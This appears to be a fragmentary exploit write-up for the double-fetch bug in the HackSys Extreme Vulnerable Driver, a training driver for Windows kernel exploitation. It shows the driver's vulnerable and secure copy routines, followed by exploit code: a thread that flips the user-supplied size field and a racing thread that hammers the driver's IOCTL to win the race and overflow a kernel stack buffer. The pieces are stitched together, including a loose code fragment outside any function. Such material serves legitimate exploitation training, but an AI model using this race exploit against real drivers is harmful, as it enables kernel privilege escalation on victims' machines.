__declspec(safebuffers)
NTSTATUS
TriggerDoubleFetch( _In_ PDOUBLE_FETCH UserDoubleFetch)
{
    NTSTATUS Status = STATUS_SUCCESS;
    ULONG KernelBuffer[BUFFER_SIZE] = { 0 };

#ifdef SECURE
    PVOID UserBuffer = NULL;
    SIZE_T UserBufferSize = 0;
#endif
    PAGED_CODE();
    __try
    {

        // Verify if the buffer resides in user mode
        ProbeForRead(UserDoubleFetch, sizeof(DOUBLE_FETCH), (ULONG)__alignof(UCHAR));

        DbgPrint("[+] UserDoubleFetch: 0x%p\n", UserDoubleFetch);
        DbgPrint("[+] KernelBuffer: 0x%p\n", &KernelBuffer);
        DbgPrint("[+] KernelBuffer Size: 0x%X\n", sizeof(KernelBuffer));

#ifdef SECURE
        UserBuffer = UserDoubleFetch->Buffer;
        UserBufferSize = UserDoubleFetch->Size;

        DbgPrint("[+] UserDoubleFetch->Buffer: 0x%p\n", UserBuffer);
        DbgPrint("[+] UserDoubleFetch->Size: 0x%X\n", UserBufferSize);

        if (UserBufferSize > sizeof(KernelBuffer))
        {
            DbgPrint("[-] Invalid Buffer Size: 0x%X\n", UserBufferSize);

            Status = STATUS_INVALID_PARAMETER;
            return Status;
        }
        // Secure Note: This is secure because the developer is fetching
        // 'UserDoubleFetch->Buffer' and 'UserDoubleFetch->Size' from user
        // mode just once and storing it in a temporary variable. Later, this
        // stored values are passed to RtlCopyMemory()/memcpy(). Hence, there
        // will be no race condition
        //
        RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, UserBufferSize);
#else
        DbgPrint("[+] UserDoubleFetch->Buffer: 0x%p\n", UserDoubleFetch->Buffer);
        DbgPrint("[+] UserDoubleFetch->Size: 0x%X\n", UserDoubleFetch->Size);

        if (UserDoubleFetch->Size > sizeof(KernelBuffer))
        {
            DbgPrint("[-] Invalid Buffer Size: 0x%X\n", UserDoubleFetch->Size);

            Status = STATUS_INVALID_PARAMETER;
            return Status;
        }

        DbgPrint("[+] Triggering Double Fetch\n");

        //
        // Vulnerability Note: This is a vanilla Double Fetch vulnerability because the
        // developer is fetching 'UserDoubleFetch->Buffer' and 'UserDoubleFetch->Size'
        // from user mode twice and the double fetched values are passed to RtlCopyMemory()/memcpy().
        // This creates a race condition and the size check could be bypassed which will later
        // cause stack based buffer overflow
        //
        RtlCopyMemory((PVOID)KernelBuffer, UserDoubleFetch->Buffer, UserDoubleFetch->Size);
#endif
    }
    __except (EXCEPTION_EXECUTE_HANDLER)
    {
        Status = GetExceptionCode();
        DbgPrint("[-] Exception Code: 0x%X\n", Status);
    }
    return Status;
}

typedef struct _DOUBLE_FETCH
{
    PVOID Buffer;
    SIZE_T Size;
} DOUBLE_FETCH, *PDOUBLE_FETCH;

 SYSTEM_INFO SystemInfo;
 GetSystemInfo(&SystemInfo);
 return (ULONG)SystemInfo.dwNumberOfProcessors;

DWORD WINAPI FlippingThread(LPVOID Parameter) 
{
    DEBUG_INFO("\t\t\t[+] FlippingThread Scheduled On Processor: %d\n", GetCurrentProcessorNumber());

    while (!ExploitSuccessful) 
	{
        *(PULONG)Parameter ^= 0x00000A24;
    }

    return EXIT_SUCCESS;
}

//竞争线程
DWORD WINAPI RacingThread(LPVOID Parameter) 
{
    HANDLE hFile = NULL;
    ULONG BytesReturned;
    BOOL Success = FALSE;
    HANDLE hThread = NULL;
    PDOUBLE_FETCH UserDoubleFetch = NULL;
    PRACING_THREAD_PARAMETER RacingThreadParameter = NULL;

    RacingThreadParameter = (PRACING_THREAD_PARAMETER)Parameter;

    hFile = RacingThreadParameter->DeviceHandle;
    UserDoubleFetch = RacingThreadParameter->DoubleFetch;

    DEBUG_INFO("\t\t\t[+] RacingThread Scheduled On Processor: %d\n", GetCurrentProcessorNumber());

    OutputDebugString("****************Kernel Mode****************\n");

    while (!ExploitSuccessful) 
	{
        // It's best to flush TLB Cache in Racing Thread
        EmptyWorkingSet(GetCurrentProcess());

        Success = DeviceIoControl(hFile,
                                  HACKSYS_EVD_IOCTL_DOUBLE_FETCH,
                                  (LPVOID)UserDoubleFetch,
                                  0,
                                  NULL,
                                  0,
                                  &BytesReturned,
                                  NULL);
    }

    OutputDebugString("****************Kernel Mode****************\n");

    return EXIT_SUCCESS;
}